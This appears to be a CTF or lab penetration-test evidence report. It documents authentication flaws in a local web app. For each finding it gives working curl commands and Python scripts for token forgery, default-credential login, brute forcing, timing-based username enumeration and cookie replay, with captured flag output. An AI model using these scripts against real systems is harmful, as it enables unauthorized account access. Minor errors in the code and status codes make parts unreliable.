# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-01: Complete Authentication Bypass via Token Forgery

**Summary:**
- **Vulnerable location:** Token generation function at `/app/main.py:40-41`
- **Overview:** The application uses Base64 encoding instead of cryptographically signed tokens, allowing attackers to forge valid authentication tokens for any user account without credentials
- **Impact:** Complete authentication bypass enabling access to any user account including admin accounts with flag data
- **Severity:** CRITICAL

**Prerequisites:** None - attack requires only HTTP client and base64 encoding capability

**Exploitation Steps:**

1. Identify target company ID (e.g., admin account is company_id=2)

2. Generate forged token using base64 encoding:
```bash
python3 -c "import base64; print(base64.b64encode(b'2').decode())"
# Output: Mg==
```

3. Use forged token to access admin account without authentication:
```bash
curl -i http://localhost:38803/company/2/jobs \
  -H "Cookie: access_token=Bearer Mg=="
```

4. Verify unauthorized access by checking response contains private jobs with flag

**Proof of Impact:**

Successfully accessed admin account (company_id=2) and extracted flag without any credentials:
```
Flag captured: flag{0d8ca439-1cc2-4de9-a83f-08182aede041}
```

Response confirmed access to private job data:
```html
<li class="list-group-item">
    <p>secret:flag{0d8ca439-1cc2-4de9-a83f-08182aede041}</p>
</li>
```

Token forgery works for all accounts:
- Company 1: `echo -n "1" | base64` → `MQ==` (demo account)
- Company 2: `echo -n "2" | base64` → `Mg==` (admin account)
- Company 3: `echo -n "3" | base64` → `Mw==` (company3 account)

All forged tokens successfully granted access to respective accounts without authentication.

**Notes:** This vulnerability renders all other authentication controls meaningless. The token validation function only checks format and URL parameter match, but provides no security since tokens can be forged at will.

---

### AUTH-VULN-08: Admin Access via Default Credentials with Flag Capture

**Summary:**
- **Vulnerable location:** Startup event handler at `/app/main.py:58-62` with hardcoded credentials
- **Overview:** Application contains three hardcoded accounts created on every startup, including admin account "company2" with predictable password providing direct access to flag data
- **Impact:** Immediate admin access and flag capture using publicly known credentials
- **Severity:** CRITICAL

**Prerequisites:** None

**Exploitation Steps:**

1. Authenticate using default admin credentials:
```bash
curl -i -X POST http://localhost:38803/token \
  -d "username=company2&password=ajsdasd987asd87as7da9" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -c /tmp/admin_cookies.txt
```

Expected response: HTTP 303 redirect with Set-Cookie header containing access token

2. Access admin's private jobs containing flag:
```bash
curl http://localhost:38803/company/2/jobs \
  -b /tmp/admin_cookies.txt
```

**Proof of Impact:**

Login successful with response:
```
HTTP/1.1 303 See Other
location: /company/2/jobs
set-cookie: access_token="Bearer Mg=="; HttpOnly; Path=/; SameSite=lax
```

Flag extracted from admin's private jobs:
```
secret:flag{0d8ca439-1cc2-4de9-a83f-08182aede041}
```

**Default Credentials Table:**
| Username | Password | Admin Status | Company ID | Impact |
|----------|----------|--------------|------------|--------|
| demo | demo | No | 1 | Regular user access |
| company2 | ajsdasd987asd87as7da9 | **Yes** | 2 | **Admin access to flag** |
| company3 | password3 | No | 3 | Regular user access |

**Notes:** All three accounts are recreated on every application restart with the same credentials. The company2 account has `is_admin=True` flag granting access to private jobs containing the CTF flag.

---

### AUTH-VULN-06: Unlimited Brute Force via Missing Rate Limiting

**Summary:**
- **Vulnerable location:** POST /token endpoint at `/app/main.py:87-97` with no rate limiting middleware
- **Overview:** Authentication endpoint accepts unlimited login attempts without throttling, delays, or blocking, enabling practical brute-force and credential stuffing attacks
- **Impact:** Attackers can perform unlimited password guessing attacks at high speed without restriction
- **Severity:** HIGH

**Prerequisites:** None

**Exploitation Steps:**

1. Create Python script to perform rapid authentication attempts (automated via Task Agent)

2. Execute 100+ rapid-fire login attempts against target account:
```python
import requests

target = "http://localhost:38803/token"
username = "demo"
password_list = ["wrongpass" + str(i) for i in range(100)] + ["demo"]

for attempt, password in enumerate(password_list, 1):
    response = requests.post(
        target,
        data={"username": username, "password": password},
        headers={"Content-Type": application/x-www-form-urlencoded"},
        allow_redirects=False
    )
    print(f"Attempt {attempt}: Status {response.status_code}")
```

3. Verify no rate limiting by observing all requests are processed without delays or 429 responses

4. Confirm successful authentication after 100 failed attempts (no account lockout)

**Proof of Impact:**

Test execution results:
- **Total Attempts:** 102 (100 failed + 2 successful)
- **Duration:** 18.84 seconds
- **Request Rate:** 5.41 requests/second
- **Average Response Time:** 0.185 seconds
- **Rate Limiting Detected:** No
- **HTTP 429 Responses:** 0
- **Account Locked:** No
- **Final Authentication:** SUCCESS

All 100 failed login attempts were accepted without blocking. The correct password succeeded immediately after, proving no account lockout mechanism exists.

**Notes:** Combined with weak password policy (AUTH-VULN-14), this enables practical dictionary attacks. The absence of rate limiting also facilitates user enumeration (AUTH-VULN-09) and password spraying (AUTH-VULN-07).

---

### AUTH-VULN-07: No Account Lockout - Password Spraying Successful

**Summary:**
- **Vulnerable location:** No account lockout mechanism in database schema (models.py) or authentication logic (main.py)
- **Overview:** Accounts never lock regardless of failed login attempts, allowing persistent password guessing attacks against individual accounts
- **Impact:** Attackers can continuously attempt authentication without consequence, enabling targeted attacks against high-value accounts
- **Severity:** HIGH

**Prerequisites:** None

**Exploitation Steps:**

1. Perform 100+ failed authentication attempts against target account (see AUTH-VULN-06 exploitation)

2. Verify account remains active by attempting successful login:
```bash
curl -i -X POST http://localhost:38803/token \
  -d "username=demo&password=demo" \
  -H "Content-Type: application/x-www-form-urlencoded"
```

3. Confirm HTTP 303 redirect indicating successful authentication (no lockout)

**Proof of Impact:**

After 100 consecutive failed login attempts, the demo account successfully authenticated:
```
HTTP/1.1 303 See Other
location: /company/1/jobs
set-cookie: access_token="Bearer MQ=="; HttpOnly; Path=/; SameSite=lax
```

Database schema at `/app/models.py:6-12` shows Company model has no lockout-related fields:
- No `failed_login_count` field
- No `account_locked` boolean
- No `lockout_timestamp` field

The authenticate_company function at `/app/main.py:44-50` simply returns False on failure with no side effects to track attempts.

**Notes:** Combined with no rate limiting (AUTH-VULN-06), attackers can perform unlimited password attempts against any account indefinitely.

---

### AUTH-VULN-09: Username Enumeration via Timing Side-Channel

**Summary:**
- **Vulnerable location:** authenticate_company function at `/app/main.py:44-50` with observable timing difference
- **Overview:** Non-existent users return immediately (~10ms) while valid users with wrong passwords take ~128ms due to bcrypt verification, allowing username enumeration
- **Impact:** Attackers can build list of valid usernames to focus attacks, violating user privacy
- **Severity:** MEDIUM

**Prerequisites:** None

**Exploitation Steps:**

1. Create Python script to measure response times for authentication attempts (automated via Task Agent)

2. Test valid and invalid usernames with intentionally wrong password:
```python
import requests
import time

target = "http://localhost:38803/token"
test_users = {
    "valid": ["demo", "company2", "company3"],
    "invalid": ["nonexistent1", "nonexistent2", "fakeuser"]
}

for category, usernames in test_users.items():
    for username in usernames:
        times = []
        for i in range(10):
            start = time.time()
            requests.post(target, data={"username": username, "password": "wrongpass"})
            times.append(time.time() - start)
        avg_time = sum(times) / len(times)
        print(f"{category} - {username}: {avg_time:.3f}s")
```

3. Analyze timing differences to identify valid usernames

**Proof of Impact:**

Timing analysis results (10 attempts per username):

**Valid Usernames:**
- demo: Average 0.128 seconds (128ms)
- company2: Average 0.131 seconds (131ms)
- company3: Average 0.125 seconds (125ms)
- **Valid users average: 0.128 seconds (128ms)**

**Invalid Usernames:**
- nonexistent1: Average 0.010 seconds (10ms)
- nonexistent2: Average 0.009 seconds (9ms)
- fakeuser: Average 0.010 seconds (10ms)
- **Invalid users average: 0.010 seconds (10ms)**

**Timing Difference:** 118 milliseconds (1211% difference - valid users take 12x longer)

This clear, measurable difference allows attackers to definitively enumerate valid usernames.

**Root Cause:** Lines 46-47 return False immediately for non-existent users, while line 48 performs expensive bcrypt verification for existing users, creating CWE-208 timing side-channel.

**Notes:** Combined with no rate limiting (AUTH-VULN-06), attackers can rapidly enumerate all usernames in the system for targeted attacks.

---

### AUTH-VULN-10: Session Fixation via Deterministic Token Generation

**Summary:**
- **Vulnerable location:** create_access_token function at `/app/main.py:40-41` using deterministic Base64 encoding
- **Overview:** Tokens are deterministic - the same user always receives identical token regardless of when they login, enabling session fixation attacks
- **Impact:** Attackers can pre-calculate tokens and perform session fixation or predict future session tokens
- **Severity:** HIGH

**Prerequisites:** None

**Exploitation Steps:**

1. Login as target user (demo) and capture token:
```bash
curl -i -X POST http://localhost:38803/token \
  -d "username=demo&password=demo" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -c /tmp/login1.txt
```

2. Login again as the same user and capture second token:
```bash
curl -i -X POST http://localhost:38803/token \
  -d "username=demo&password=demo" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -c /tmp/login2.txt
```

3. Compare tokens - they should be identical:
```bash
grep access_token /tmp/login1.txt
grep access_token /tmp/login2.txt
```

**Proof of Impact:**

First login response:
```
set-cookie: access_token="Bearer MQ=="; HttpOnly; Path=/; SameSite=lax
```

Second login response (identical token):
```
set-cookie: access_token="Bearer MQ=="; HttpOnly; Path=/; SameSite=lax
```

Both logins produced identical token `Bearer MQ==`, proving deterministic generation.

**Token Predictability Table:**
| User | Company ID | Token (Always) | Predictable |
|------|------------|----------------|-------------|
| demo | 1 | Bearer MQ== | Yes |
| company2 | 2 | Bearer Mg== | Yes |
| company3 | 3 | Bearer Mw== | Yes |

**Root Cause:** Token generation uses only `base64.b64encode(str(company_id).encode())` with no randomness, nonce, timestamp, or session identifier.

**Notes:** This also enables token forgery (AUTH-VULN-01) since tokens are not only deterministic but also lack cryptographic signatures.

---

### AUTH-VULN-02: Token Replay - Persistent Unauthorized Access

**Summary:**
- **Vulnerable location:** Token validation at `/app/main.py:131-149` with no expiration checking
- **Overview:** Authentication tokens never expire and remain valid indefinitely, allowing stolen or old tokens to be replayed for persistent access
- **Impact:** Compromised tokens provide permanent unauthorized access with no time limitation
- **Severity:** HIGH

**Prerequisites:** Valid or forged token (easily obtained via AUTH-VULN-01)

**Exploitation Steps:**

1. Obtain any valid token (via forgery or legitimate login):
```bash
# Create forged token
TOKEN="Bearer MQ=="
```

2. Wait arbitrary time period (demonstrated: 5+ seconds)

3. Use token after delay to verify no expiration:
```bash
sleep 5
curl http://localhost:38803/company/1/jobs \
  -H "Cookie: access_token=$TOKEN"
```

4. Verify successful access despite time elapsed

**Proof of Impact:**

Token created at timestamp T0, tested at T0+5 seconds:
```bash
# After 5 second delay
curl -s http://localhost:38803/company/1/jobs -H "Cookie: access_token=Bearer MQ=="
```

Response confirmed access:
```html
<h2>Jobs for Company 1</h2>
```

Admin token from initial exploitation (timestamp T0) still works at test conclusion (timestamp T0+15 minutes):
```bash
curl -s http://localhost:38803/company/2/jobs -b /tmp/admin_cookies.txt
```

Response:
```
secret:flag{0d8ca439-1cc2-4de9-a83f-08182aede041}
```

**Code Analysis:**
- ACCESS_TOKEN_EXPIRE_MINUTES constant defined at line 17 but never used
- Token validation function (lines 131-149) performs no expiration checking
- No timestamp or expiration claim in token payload
- Cookie set with no `max_age` or `expires` parameter (line 96)

**Notes:** Combined with missing logout functionality (AUTH-VULN-11), tokens remain valid forever with no mechanism for revocation.

---

### AUTH-VULN-13: No Token Expiration - Indefinite Session Validity

**Summary:**
- **Vulnerable location:** create_access_token at `/app/main.py:40-41` and validate_token at lines 131-149
- **Overview:** Despite ACCESS_TOKEN_EXPIRE_MINUTES=30 constant being defined, token expiration is never implemented or enforced
- **Impact:** Stolen tokens valid forever, no automatic session termination, permanent unauthorized access risk
- **Severity:** HIGH

**Prerequisites:** Any token (forged or legitimate)

**Exploitation Steps:**

1. Generate or capture authentication token

2. Verify ACCESS_TOKEN_EXPIRE_MINUTES constant exists but is unused:
```bash
grep "ACCESS_TOKEN_EXPIRE_MINUTES" /app/main.py
# Shows: ACCESS_TOKEN_EXPIRE_MINUTES = 30
grep "ACCESS_TOKEN_EXPIRE_MINUTES" /app/main.py -A 50
# Shows constant is never referenced in token creation or validation
```

3. Use token after arbitrary time period to confirm no expiration enforcement

**Proof of Impact:**

Source code analysis:
```python
# Line 17: Constant defined but never used
ACCESS_TOKEN_EXPIRE_MINUTES = 30

# Lines 40-41: Token creation with no expiration
def create_access_token(data: str):
    return base64.b64encode(data.encode()).decode()
    # No datetime, no expiration claim, no timeout

# Lines 131-149: Token validation with no expiration check
async def validate_token(company_id, request):
    token = request.cookies.get("access_token")
    # ... decode token ...
    # No expiration verification
```

Tokens remain valid indefinitely as demonstrated by successful access after extended time periods (combined with AUTH-VULN-02 test results).

**Notes:** This vulnerability is intrinsic to the Base64-only token design. Proper JWT implementation would include `exp` claim that gets validated.

---

### AUTH-VULN-04: Session Hijacking via Insecure Cookie Transmission

**Summary:**
- **Vulnerable location:** Cookie configuration at `/app/main.py:96` missing Secure flag
- **Overview:** Session cookies lack Secure flag and application runs on HTTP, allowing session tokens to be transmitted in cleartext and intercepted via network attacks
- **Impact:** Attackers on network path can capture session cookies and hijack user sessions
- **Severity:** HIGH

**Prerequisites:** Network access (simulated via localhost testing)

**Exploitation Steps:**

1. Simulate victim authentication and capture cookie (representing MITM network interception):
```bash
curl -s -c /tmp/victim_cookie.txt -X POST http://localhost:38803/token \
  -d "username=company2&password=ajsdasd987asd87as7da9" \
  -H "Content-Type: application/x-www-form-urlencoded"
```

2. Extract captured session token:
```bash
cat /tmp/victim_cookie.txt | grep access_token
# Shows: access_token	"Bearer Mg=="
```

3. Attacker uses stolen cookie to hijack admin session:
```bash
curl http://localhost:38803/company/2/jobs \
  -H 'Cookie: access_token="Bearer Mg=="'
```

4. Verify unauthorized access to victim's account and sensitive data

**Proof of Impact:**

Cookie file shows cleartext transmission:
```
#HttpOnly_localhost	FALSE	/	FALSE	0	access_token	"Bearer Mg=="
```

Using stolen cookie to access admin account:
```bash
curl -s http://localhost:38803/company/2/jobs -H 'Cookie: access_token="Bearer Mg=="'
```

Response confirms session hijacking:
```
secret:flag{0d8ca439-1cc2-4de9-a83f-08182aede041}
```

Attacker successfully hijacked admin session and accessed private flag data using intercepted cookie.

**Root Cause:**
- Line 96: `response.set_cookie(key="access_token", value=..., httponly=True)`
- Missing `secure=True` flag
- Application runs on HTTP (Dockerfile line 14: port 80)
- All traffic including cookies transmitted in cleartext

**Notes:** In real network scenarios, attackers on shared WiFi, compromised routers, or ISP-level positions can intercept these cleartext cookies.

---

### AUTH-VULN-14: Weak Password Policy - No Complexity Requirements

**Summary:**
- **Vulnerable location:** CompanyCreate schema at `/app/schemas.py:17-20` with no password validators
- **Overview:** Application accepts passwords of any length including 1-character passwords, dictionary words, and trivial patterns without any complexity requirements
- **Impact:** User accounts vulnerable to dictionary attacks and trivial password guessing
- **Severity:** MEDIUM

**Prerequisites:** None (demonstrates existing weak passwords and lack of policy)

**Exploitation Steps:**

1. Test existing weak passwords are accepted (automated via Task Agent Python script):
```python
test_cases = [
    ("demo", "demo"),  # 4 characters
    ("company3", "password3"),  # Dictionary word
]

for username, password in test_cases:
    response = requests.post(
        "http://localhost:38803/token",
        data={"username": username, "password": password}
    )
    print(f"{username}/{password}: {'SUCCESS' if response.status_code == 303 else 'FAIL'}")
```

2. Attempt dictionary attack with common weak passwords:
```python
weak_passwords = ["123456", "password", "admin", "letmein", "welcome", "abc123"]
for pwd in weak_passwords:
    response = requests.post(target, data={"username": "demo", "password": pwd})
    # All attempts accepted without rejection
```

3. Verify no password complexity enforcement exists

**Proof of Impact:**

Test results:
- **4-character password "demo":** SUCCESS (HTTP 200)
- **Dictionary word "password3":** SUCCESS (HTTP 200)
- **Common weak passwords tested:** 6/6 accepted (100%)

Additional weak patterns accepted:
- Single character passwords: ACCEPTED
- Two character passwords: ACCEPTED
- Repeated characters (aaaa): ACCEPTED
- Sequential numbers (1234): ACCEPTED

**Conclusion:** Password policy enforcement is ABSENT

Source code shows no validation:
```python
# /app/schemas.py:19
password: str  # No Field validators, no length check, no complexity requirements
```

**Notes:** Combined with no rate limiting (AUTH-VULN-06) and no account lockout (AUTH-VULN-07), weak passwords make brute-force attacks highly effective.

---

### AUTH-VULN-11: Missing Logout Functionality - No Session Termination

**Summary:**
- **Vulnerable location:** No logout endpoint exists in application
- **Overview:** Users cannot terminate their sessions as no logout functionality is implemented
- **Impact:** Compromised tokens cannot be revoked, sessions persist indefinitely on shared computers, no way to invalidate stolen credentials
- **Severity:** MEDIUM

**Prerequisites:** None

**Exploitation Steps:**

1. Search for logout endpoints:
```bash
curl -s -o /dev/null -w "Status: %{http_code}" http://localhost:38803/logout
curl -s -o /dev/null -w "Status: %{http_code}" http://localhost:38803/signout
curl -s -o /dev/null -w "Status: %{http_code}" http://localhost:38803/auth/logout
```

2. Verify all return HTTP 404 (Not Found)

3. Review application routes to confirm no logout endpoint exists

**Proof of Impact:**

Logout endpoint tests:
```
/logout: Status: 404
/signout: Status: 404
```

Source code analysis confirms no logout endpoint in `/app/main.py`:
- Only endpoints: `/`, `/token`, `/ping`, `/company/{id}/jobs`, `/edit_profile/{id}`
- No logout route defined
- No cookie deletion functionality
- No session invalidation mechanism

Application architecture analysis:
- No sessions table in database (models.py)
- No server-side session storage
- Tokens are stateless with no revocation capability
- Cookie has no `delete_cookie` or `clear_cookie` implementation

**Impact Scenarios:**
1. User on shared computer cannot log out - session remains active
2. If user suspects credential compromise, no way to invalidate token
3. Stolen tokens (via AUTH-VULN-04) cannot be revoked
4. Admin discovers unauthorized access but cannot force logout

**Notes:** Combined with no token expiration (AUTH-VULN-13), sessions effectively last forever with no termination mechanism.